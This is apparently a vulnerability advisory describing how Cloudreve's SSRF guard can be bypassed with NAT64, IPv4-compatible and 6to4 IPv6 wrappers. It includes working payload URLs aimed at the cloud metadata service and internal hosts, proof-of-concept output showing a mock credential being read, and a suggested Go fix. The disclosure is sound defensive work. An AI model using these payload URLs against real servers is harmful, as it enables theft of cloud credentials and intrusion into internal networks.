**Summary**
Cloudreve's server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go's `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services.
**Affected component and versions**
- Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`).
- Affected: Cloudreve `<= 4.17.0` (latest release at time of report) and current `main`.
- Reachable by an authenticated remote-download user; administrative privileges are not required.
**Vulnerable form vs correctly-guarded sibling**
`checkIP` DOES block IPv4-mapped IPv6 (`::ffff:a.b.c.d`), because Go's `net.IP.To4()` returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those `To4()` returns nil and every `net.IP` classifier reports the wrapper as a normal global IPv6 address:
- NAT64 well-known prefix `64:ff9b::/96` (RFC 6052): `64:ff9b::a9fe:a9fe` embeds `169.254.169.254`.
- IPv4-compatible `::a.b.c.d` (RFC 4291): `::a9fe:a9fe` embeds `169.254.169.254`.
- 6to4 `2002::/16` (RFC 3056): `2002:a9fe:a9fe::` embeds `169.254.169.254`.
The fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by `To4()`. The same gap was fixed correctly in a sibling project: `makeplane/plane` `apps/api/plane/utils/ip_address.py` `_embedded_ipv4()` decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.
**Severity**
An authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity.
**Proof of concept**
The guard file `pkg/request/ssrf.go` imports only the Go standard library, so `ValidateExternalURL` was compiled and called verbatim from tag `4.17.0`. The remote-download workflow calls it as `ValidateExternalURL(ctx, SrcUri, opt)` with default options.
Direction 1 (shipped guard accepts the internal-embedding wrappers):
```
=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===
[ACCEPTED] NAT64 -> 169.254.169.254 (cloud metadata) http://[64:ff9b::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] NAT64 -> 127.0.0.1 (loopback) http://[64:ff9b::7f00:1]/
[ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918) http://[64:ff9b::a00:1]/
[ACCEPTED] IPv4-compatible -> 169.254.169.254 http://[::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] IPv4-compatible -> 127.0.0.1 http://[::7f00:1]/
[ACCEPTED] 6to4 -> encodes 169.254.169.254 http://[2002:a9fe:a9fe::]/
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block) http://[::ffff:127.0.0.1]/ -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block) http://[::ffff:169.254.169.254]/ -> link-local address 169.254.169.254: URL is not allowed
[ACCEPTED] public 1.1.1.1 (CONTROL, should pass) http://1.1.1.1/
SSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6
```
Full reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.
```
[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569
[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9
[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/
[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)
[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.
checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)
[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200
[+] Response body (exfiltrated internal secret):
iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9
[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,
fetch returned internal secret "IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9" with HTTP 200.
```
Direction 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):
```
=== Cloudreve guard WITH FIX applied ===
[BLOCKED ] NAT64 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] NAT64 -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] NAT64 -> 10.0.0.1 -> private address 10.0.0.1: URL is not allowed
[BLOCKED ] IPv4-compatible -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-compatible -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] 6to4 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (control) -> loopback address 127.0.0.1: URL is not allowed
[ACCEPTED] public 1.1.1.1 (control, should PASS)
[ACCEPTED] public 8.8.8.8 (control, should PASS)
Remaining bypasses after fix: 0 (expect 0)
```
**Impact**
An authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.
**Suggested fix**
Canonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:
```diff
--- a/pkg/request/ssrf.go
+++ b/pkg/request/ssrf.go
@@ func checkIPWithAllowlist ... return checkIP(ip) }
+
+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the
+// packet ultimately reaches, so checkIP classifies the real target rather than
+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped
+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),
+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).
+func effectiveIP(ip net.IP) net.IP {
+ if v4 := ip.To4(); v4 != nil {
+ return v4
+ }
+ v6 := ip.To16()
+ if v6 == nil {
+ return ip
+ }
+ if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
+ v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 &&
+ v6[8] == 0 && v6[9] == 0 && v6[10] == 0 && v6[11] == 0 {
+ return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+ }
+ if v6[0] == 0x20 && v6[1] == 0x02 {
+ return net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()
+ }
+ allZeroTop := true
+ for i := 0; i < 12; i++ {
+ if v6[i] != 0 {
+ allZeroTop = false
+ break
+ }
+ }
+ if allZeroTop {
+ last := uint32(v6[12])<<24 | uint32(v6[13])<<16 | uint32(v6[14])<<8 | uint32(v6[15])
+ if last > 1 {
+ return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+ }
+ }
+ return ip
+}
+
func checkIP(ip net.IP) error {
+ ip = effectiveIP(ip)
if ip == nil {
return fmt.Errorf("invalid IP: %w", ErrUnsafeURL)
}
```
As defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.
**Credit**
tonghuaroot (
[email protected]).